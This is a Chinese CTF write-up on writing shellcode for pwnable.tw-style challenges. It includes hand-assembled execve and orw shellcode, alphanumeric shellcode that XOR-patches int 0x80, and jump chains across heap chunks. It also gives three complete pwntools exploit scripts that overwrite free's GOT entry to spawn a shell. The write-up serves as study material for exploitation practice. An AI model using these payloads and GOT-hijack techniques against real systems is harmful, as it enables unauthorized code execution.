序言: 平时做题也遇到过一些编写shellcode的题目了,最近抽空总结下类型,以及编写过程
我收集了一些工具生成纯字母数字shellcode的
比如 pwntools的 shellcraft模块
或者到exploit-db直接查找
这种题好做,利用工具生成,比如pwnable.tw 的 orw,这题就是可以直接利用工具生成的
shellcode = shellcraft.open('/home/orw/flag') shellcode += shellcraft.read('eax','esp', 0x30) shellcode += shellcraft.write(1, 'esp', 0x30)
三句代码搞定,这种是限制了只能用open,read,write的
还可以手写汇编,对于unctf的orwpwn可以手写汇编,不过没必要啊,复制黏贴也是可以的
shellcode = asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''')
在比如说那种直接输入shellcode执行的,攻防世界新手区有道题目string,就是直接输入shellcode拿shell的,这种可以用shellcraft.sh()或者exploit-db查找
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
随便拿个shellcode举例吧
这些都还可以找得到题目来的,可以自行查找,我当时是手写了汇编练习,实际工具一把梭也是可以的
这种题目我认为难度就比较大了,汇编基础不扎实的确实难,对我来说也是一样的,不过还是要总结下编写过程,这样以后遇到才不会慌
就从最简单的shellcode编写开始吧,难度层级如下,一层一层更难
这道题又让我学了不少东西
复习了下jmp的跳转,以及机器码
0xE8 CALL 后面的四个字节是地址
0xE9 JMP 后面的四个字节是偏移
0xEB JMP 后面的二个字节是偏移
0xFF15 CALL 后面的四个字节是存放地址的地址
0xFF25 JMP 后面的四个字节是存放地址的地址
0x68 PUSH 后面的四个字节入栈
0x6A PUSH 后面的一个字节入栈
发觉有个double free,然后8个字节不知道怎么利用,然后卡死了
看了wp后,原来这道又是出自pwnable.tw的,经过他人修改,然后出题了,考点是shellcode链的构造,也就是手写汇编能力
这里查看保护发觉nx保护没开,所以想着如何写shellcode,8个字节,我也没想出怎么写shellcode,大佬们强啊,shellcode链,利用近转移,一步步跳过去,组合起来就是大shellcode了,这跟ROP类似啊,我怎么就想不到呢,在此还是先佩服下师傅们
调试部分我用edb测试了下,edb打开随便一个程序,测了下E916,发觉他会自动改成5个字节
其余指令可以用pwntools测试,asm('xor rsi,rsi',arch='amd64')
free_got - heap地址,这个相对偏移是确定的,所以可以用index这样寻址
至于为什么是E916,这个可以计算下,
短转移:
假设目前指令为:
0x1000 E9 16 00 00 00 0x1005 90 0x1006 90 . . . 0x101b 90
1000+16+5=101b
至于为什么这么计算,通俗点讲就是执行完这条指令才会跳转,所以执行完这条指令地址本应该为1005,所以为什么要+5,然后jmp的话,他要跳到相对于这里16处,所以就是0x101b处了
细想一下,delete(0)为什么可以执行system函数呢,因为free(0)的话,首先将参数传进去,也就是第一个堆块地址,就是存/bin/sh处,放到rdi里,后面开始执行shellcode链
0x00 0 0x21 0x10 0 0 0x20 0 0x21 0x30 0 0 0x40 0 0x21 0x50 0 0 0x60 0 0x21 0x70 0 0
0x00 0 0x21 0x10 00000018e94831f6 0 0x20 0 0x21 0x30 0 0 0x40 0 0x21 0x50 0 0 0x60 0 0x21 0x70 0 0
0x00 0 0x21 0x10 00000018e94831f6 0 0x20 0 0x21 0x30 00000018e94831d2 0 0x40 0 0x21 0x50 0 0 0x60 0 0x21 0x70 0 0
0x00 0 0x21 0x10 00000018e94831f6 0 0x20 0 0x21 0x30 00000018e94831d2 0 0x40 0 0x21 0x50 00000018e9586a3b 0 0x60 0 0x21 0x70 0 0
0x00 0 0x21 0x10 00000018e94831f6 0 0x20 0 0x21 0x30 00000018e94831d2 0 0x40 0 0x21 0x50 00000018e9586a3b 0 0x60 0f05 0x21 0x70 0 0
0x00 0 0x21 0x10 16e99090904831f6 0 0x20 0 0x21 0x30 16e99090904831d2 0 0x40 0 0x21 0x50 16e9909090586a3b 0 0x60 9090909090900f50 0x21 0x70 0 0
emm,测试不成功,原因是,最多接受7个...题目里限制了,所以改成2个nop
0x00 0 0x21 0x10 0016e990904831f6 0 0x20 0 0x21 0x30 0016e990904831d2 0 0x40 0 0x21 0x50 0016e99090586a3b 0 0x60 0090909090900f50 0x21 0x70 0 0
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * local = 1 host = '111.198.29.45' port = 49964 context.log_level = 'debug' exe = '/tmp/tmp.sGaluM2IXs/note' # Load it if has exe try: context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load") # load libc libc = elf.libc if context.binary else ELF("./libc.so.6") if local: io = process(exe) else: io = remote(host,port, timeout=10) #don't forget to change it s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4, '\x00')) uu64 = lambda data : u64(data.ljust(8, '\x00')) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() # break on aim addr def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16) ga('b *{}'.format(hex(text_base+addr))) else: ga("b *{}".format(hex(addr))) # get_one_gadget def get_one_gadget(filename): return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' ')) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX disabled # PIE: PIE enabled # RWX: Has RWX segments def c(idx): sla(">> ", idx) def new(idx, content): c(1) sla(":", idx) sla(":", 8) sa(":", content) def delete(idx): c(4) sla(":", idx) def exp(host, rce=False): if rce: one_gadget = get_one_gadget(libc.path) #start here new(0, '/bin/sh') new((elf.got['free']-0x2020A0)/8, asm('xor rsi,rsi')+ '\x90\x90\xe9\x16') new(1, asm('push 0x3b\n pop rax') + '\x90\x90\xe9\x16') new(2, asm('xor rdx, rdx') + '\x90\x90\xe9\x16') new(3, asm('syscall') + '\x90'*5) ga() delete(0) ia() if __name__ == '__main__': exp(host,)
我是先做完alive_note再来做这道,看了下,难度比alive_note确实简单了一些,那题手写shellcode跳转链条,真的麻烦,这题直接0x50字节的shellcode执行就行,还是改got表,然后手写汇编就ok了
数字字母汇编代码,大佬总结的
1.数据传送: push/pop eax… pusha/popa 2.算术运算: inc/dec eax… sub al, 立即数 sub byte ptr [eax… + 立即数], al dl… sub byte ptr [eax… + 立即数], ah dh… sub dword ptr [eax… + 立即数], esi edi sub word ptr [eax… + 立即数], si di sub al dl…, byte ptr [eax… + 立即数] sub ah dh…, byte ptr [eax… + 立即数] sub esi edi, dword ptr [eax… + 立即数] sub si di, word ptr [eax… + 立即数] 3.逻辑运算: and al, 立即数 and dword ptr [eax… + 立即数], esi edi and word ptr [eax… + 立即数], si di and ah dh…, byte ptr [ecx edx… + 立即数] and esi edi, dword ptr [eax… + 立即数] and si di, word ptr [eax… + 立即数] xor al, 立即数 xor byte ptr [eax… + 立即数], al dl… xor byte ptr [eax… + 立即数], ah dh… xor dword ptr [eax… + 立即数], esi edi xor word ptr [eax… + 立即数], si di xor al dl…, byte ptr [eax… + 立即数] xor ah dh…, byte ptr [eax… + 立即数] xor esi edi, dword ptr [eax… + 立即数] xor si di, word ptr [eax… + 立即数] 4.比较指令: cmp al, 立即数 cmp byte ptr [eax… + 立即数], al dl… cmp byte ptr [eax… + 立即数], ah dh… cmp dword ptr [eax… + 立即数], esi edi cmp word ptr [eax… + 立即数], si di cmp al dl…, byte ptr [eax… + 立即数] cmp ah dh…, byte ptr [eax… + 立即数] cmp esi edi, dword ptr [eax… + 立即数] cmp si di, word ptr [eax… + 立即数] 5.转移指令: push 56h pop eax cmp al, 43h jnz lable <=> jmp lable 6.交换al, ah push eax xor ah, byte ptr [esp] // ah ^= al xor byte ptr [esp], ah // al ^= ah xor ah, byte ptr [esp] // ah ^= al pop eax 7.清零: push 44h pop eax sub al, 44h ; eax = 0 push esi push esp pop eax xor [eax], esi ; esi = 0
首先得明白我们应该要什么样的结果
eax=0xb ecx=0 ebx= /bin/sh地址 edx = 0
然后开始构造
>>> asm(shellcraft.sh()) 'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp
然后修改代码,mov ebx,esp改成push esp, pop ebx
push 0x68 #push /bin/sh push 0x732f2f2f push 0x6e69622f push esp pop ebx
push ecx pop eax xor al,0x41 xor al,0x40
同时,这段代码可以作为滑板,一直执行
我构造了这样的顺序
push ecx pop eax xor al,0x41 xor al,0x40 push edx pop ecx push 0x68 #push /bin/sh push 0x732f2f2f push 0x6e69622f push esp pop ebx
最前面来构造int 0x80,因为此时堆块地址还未被破坏,
push eax #堆块地址 pop ebx #保存堆块地址到ebx push edx pop eax dec eax #构造0xff xor al,0x46 #al = 0xb9 xor byte ptr[ebx+0x35],al #set int 0x80 xor byte ptr[ebx+0x36],al
这里要注意的是ebx+0x35这是我自行构造出来的,通过这一段当作滑板,构造出可见字符常数
push ecx pop eax xor al,0x41 xor al,0x40
所以最后就是
push eax #堆块地址 pop ebx #保存堆块地址到ebx push edx pop eax dec eax #构造0xff xor al,0x46 #al = 0xb9 xor byte ptr[ebx+0x35],al #set int 0x80 xor byte ptr[ebx+0x36],al push ecx pop eax xor al,0x41 xor al,0x40 push ecx pop eax xor al,0x41 xor al,0x40 push ecx pop eax xor al,0x41 xor al,0x40 push ecx pop eax xor al,0x41 xor al,0x40 push edx pop ecx push 0x68 #push /bin/sh push 0x732f2f2f push 0x6e69622f push esp pop ebx
最后加上'\x74\x39'这个,拿来构造int 0x80的,就好了
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * local = 1 host = '127.0.0.1' port = 10000 context.log_level = 'debug' exe = './death_note' # Load it if has exe try: context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load") # load libc libc = elf.libc if context.binary else ELF("./libc.so.6") if local: io = process(exe) else: io = remote(host,port, timeout=10) #don't forget to change it s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4, '\x00')) uu64 = lambda data : u64(data.ljust(8, '\x00')) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() # break on aim addr def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16) ga('b *{}'.format(hex(text_base+addr))) else: ga("b *{}".format(hex(addr))) # get_one_gadget def get_one_gadget(filename): return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' ')) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX disabled # PIE: No PIE (0x8048000) # RWX: Has RWX segments def c(idx): sla(":", idx) def new(idx, content): c(1) sla(":", idx) sla(":", content) def delete(idx): c(3) sla(":", idx) def exp(host, rce=False): if rce: one_gadget = get_one_gadget(libc.path) #start here offset = (elf.got['free']-0x0804A060)/4 #ga("b *0x8048865\nc\nn 4\ns") shellcode = asm(''' push eax pop ebx #保存指针 push edx pop eax dec eax xor al,0x46 xor byte ptr[ebx+0x35],al #set int 0x80 xor byte ptr[ebx+0x36],al push ecx #这里作为滑板,填充数据 pop eax xor al, 0x41 xor al, 0x40 push ecx pop eax xor al, 0x41 xor al, 0x40 push ecx pop eax xor al, 0x41 xor al, 0x40 push ecx # set al=0xb pop eax xor al, 0x41 xor al, 0x40 push edx # set ecx=0 pop ecx push 0x68 # push /bin/sh push 0x732f2f2f push 0x6e69622f push esp pop ebx ''') lg("len", len(shellcode)) shellcode += '\x74\x39' new(offset, shellcode) delete(offset) ia() if __name__ == '__main__': exp(host,)
自己利用还是不会,我感觉这题比那个note-service2难多了,讲真,这题考的纯字母数字shellcode在加上shellcode链构造,这是目前我遇到的最难的shellcode题目了
照着shellcode分析一遍,将过程梳理下
整体思路是通过构造shellcode链, 然后read(0,heap,size),读入shellcode执行, 这样就可以有非限制字符了
push eax pop ecx push 0x7a pop edx push ebx jne 0x3a #因为跳到0x38处,要减去2,指令长度为2
发觉jne的0x不好选,因为题目有限制,看限制
顺序: 1->5->2->6->4
['0x0', '0x20', '0x30', '0x31', '0x32', '0x33', '0x34', '0x35', '0x36', '0x37', '0x38', '0x39', '0x41', '0x42', '0x43', '0x44', '0x45', '0x46', '0x47', '0x48', '0x49', '0x4a', '0x4b', '0x4c', '0x4d', '0x4e', '0x4f', '0x50', '0x51', '0x52', '0x53', '0x54', '0x55', '0x56', '0x57', '0x58', '0x59', '0x5a', '0x61', '0x62', '0x63', '0x64', '0x65', '0x66', '0x67', '0x68', '0x69', '0x6a', '0x6b', '0x6c', '0x6d', '0x6e', '0x6f', '0x70', '0x71', '0x72', '0x73', '0x74', '0x75', '0x76', '0x77', '0x78', '0x79', '0x7a']
所以我们选的常数要在这个范围里面,0x7a就是因为他是最大的,所以我们就选了edx为0x7a,最好选的就是0x38左右,为什么,我第一个shellcode长度为8
0x0: 0x00000000 0x00000011 0x31000000 0x00000000 #堆块1完成 0x10: 0x00000000 0x00000011 0x32000000 0x00000000 0x20: 0x00000000 0x00000011 0x33000000 0x00000000 0x30: 0x00000000 0x00000011 0x34000000 0x00000000 0x40: 0x00000000 0x00000011 0x35000000 0x00000000 #堆块5完成 0x50: 0x00000000 0x00000011 0x36000000 0x00000000
以这个为例子就是填充到0x10处,所以最小的限制字符就是0x30开头了,那就跳到0x48处,
jne跳转计算为0x48-0x10=0x38,所以第一个跳就是jne 0x3a,因为要-2,这个机器码对应的才是跳0x38
>>> hex(0x18-0x4d & 0xff) '0xcb'
所以jne 0xcb是我们想要的结果,然后这个对应的机器码为75C9,其实0xcb可以不用计算器算,用吾爱工具跳转指令计算器0.4b计算的我是,找了好久才用他,输入0x4d和0x18 就出来了,接下来将C9转换成可见字符,
xor byte ptr[ecx+0x46]
是0x46,这里就是计算那个偏移了ecx是堆块0,然后偏移
pop eax dec eax #eax变为0xffffffff xor byte ptr[ecx+0x46],al #合起来5个字节 0x46上面刚计算 jne 0xcb # 这里是75C9,转变C9与0xff异或为0x36所以最终为7536
0x0: 0x00000000 0x00000011 0x31000000 0x00000000 #1完成 0x10: 0x00000000 0x00000011 0x32000000 0x00000000 0x20: 0x00000000 0x00000011 0x33000000 0x00000000 0x30: 0x00000000 0x00000011 0x34000000 0x00000000 0x40: 0x00000000 0x00000011 0x35000000 0x00000000 #5完成 0x50: 0x00000000 0x00000011 0x36000000 0x00000000
参数已经设置好了,现在最主要要构造int 0x80了,所以就是xor变成int 0x80
我们将int 0x80放在最后一个执行的堆块里,就是第4块堆块,所以还是得先设置第四块
参数还要设置eax为0x3,所以先将eax变为0,
pop eax xor al,0x33 xor al,0x30 #5个字节 int 0x80 #本来是\xcd\x80,两个都不可见,所以要将其变为可见,回到第二块堆块
0x0: 0x00000000 0x00000011 0x31000000 0x00000000 #1完成 0x10: 0x00000000 0x00000011 0x32000000 0x00000000 0x20: 0x00000000 0x00000011 0x33000000 0x00000000 0x30: 0x00000000 0x00000011 0x34000000 0x00000000 #4完成 0x40: 0x00000000 0x00000011 0x35000000 0x00000000 #5完成 0x50: 0x00000000 0x00000011 0x36000000 0x00000000
xor al,0x46 #al=0xb9 xor byte ptr[ecx+0x35],al push ebx #为第四块的pop eax做准备 jne 0x3a #同理跳到第六块去
pop eax xor al,0x33 xor al,0x30 #5个字节 int 0x80 #现在变成\x74\x80
0x0: 0x00000000 0x00000011 0x31000000 0x00000000 #1完成 0x10: 0x00000000 0x00000011 0x32000000 0x00000000 #2完成 0x20: 0x00000000 0x00000011 0x33000000 0x00000000 0x30: 0x00000000 0x00000011 0x34000000 0x00000000 #4完成 0x40: 0x00000000 0x00000011 0x35000000 0x00000000 #5完成 0x50: 0x00000000 0x00000011 0x36000000 0x00000000
先将堆块4改了
xor byte ptr[ecx+0x36],al #int 0x80设置好了,3个字节 xor byte ptr[ecx+0x57],al # 在三个字节,将d8转化 0x5f-0x8 jne 0xda #0x5e跳到0x38, 原机器码75d8,d8转为61,所以变为7561
pop eax xor al,0x33 xor al,0x30 #5个字节 int 0x80 #现在变成\x74\x39
>>> hex(0xb9^0x80) '0x39'
0x0: 0x00000000 0x00000011 0x31000000 0x00000000 #1完成 0x10: 0x00000000 0x00000011 0x32000000 0x00000000 #2完成 0x20: 0x00000000 0x00000011 0x33000000 0x00000000 #3随便填充就好 0x30: 0x00000000 0x00000011 0x34000000 0x00000000 #4完成 0x40: 0x00000000 0x00000011 0x35000000 0x00000000 #5完成 0x50: 0x00000000 0x00000011 0x36000000 0x00000000 #6完成
第一段:
>>> p64(0x3875535a7a6a5950) 'PYjzZSu8'
PYjzZSu8
第二段:
>>> p64(0x3875533541304634) '4F0A5Su8'
4F0A5Su8
第三段: 随便
第四段:
>>> p64(0x39743034333458) 'X4340t9\x00'
X4340t9
第五段:
>>> p64(0x36754641304858) 'XH0AFu6\x00'
XH0AFu6
第六段:
>>> p64(0x6175574130364130) '0A60AWua'
PYjzZSu8
4F0A5Su8
11111111
X4340t9
XH0AFu6
0A60AWua
所以就是’a'*0x37 + asm(shellcraft.sh())
至于执行过程呢,free(offset),然后就开始执行free_got表里的shellcode,也就是offset处的shellcode,接着跳来跳去就完成了
还有就是没必要跟我一样挑难的来,网上好多大佬都是中间用三个堆块填充,这样跳转不用计算来计算去,那样好算点,我是为了复习汇编加理解原理搞复杂的
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * local = 1 host = '127.0.0.1' port = 10000 #context.log_level = 'debug' exe = './alive_note' # Load it if has exe try: context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load") # load libc libc = elf.libc if context.binary else ELF("./libc.so.6") if local: io = process(exe) else: io = remote(host,port, timeout=10) #don't forget to change it s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4, '\x00')) uu64 = lambda data : u64(data.ljust(8, '\x00')) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() # break on aim addr def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16) ga('b *{}'.format(hex(text_base+addr))) else: ga("b *{}".format(hex(addr))) # get_one_gadget def get_one_gadget(filename): return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' ')) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX disabled # PIE: No PIE (0x8048000) # RWX: Has RWX segments def fuzz(char): new(0, char) show(0) print(rl()) List = [0, 32, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122] List = [chr(i) for i in List] def checkPayload(payload): for i in payload: if i in List: return False return True def c(idx): sla(":", idx) def new(idx, name): c(1) sla(":", idx) if checkPayload(name): print("payload is wrong") exit(0) else: sla(":", name) def show(idx): c(2) sla(":", idx) def delete(idx): c(3) sla(":", idx) def exp(host, rce=False): if rce: one_gadget = get_one_gadget(libc.path) #start here ''' PYjzZSu8 4F0A5Su8 11111111 X4340t9 XH0AFu6 0A60AWua ''' # offset = free_got - heap offset = (0x0804a014-0x0804A080)/4 ga("b *0x080488DC\n c\nn 4\ndelete\ns\n") new(offset, 'PYjzZSu8') new(0, '4F0A5Su8') new(1, '11111111') new(2, 'X4340t9') new(3, 'XH0AFu6') new(4, '0A60AWua') delete(offset) s(0x37*'a' + asm(shellcraft.sh())) #ga() ia() if __name__ == '__main__': # fuzz the input name ''' List = [] for i in range(0, 128): try: fuzz(chr(i)) io.close() List.append(i) except Exception as e: print(e) finally: io = process(exe) print(List) ''' exp(host,)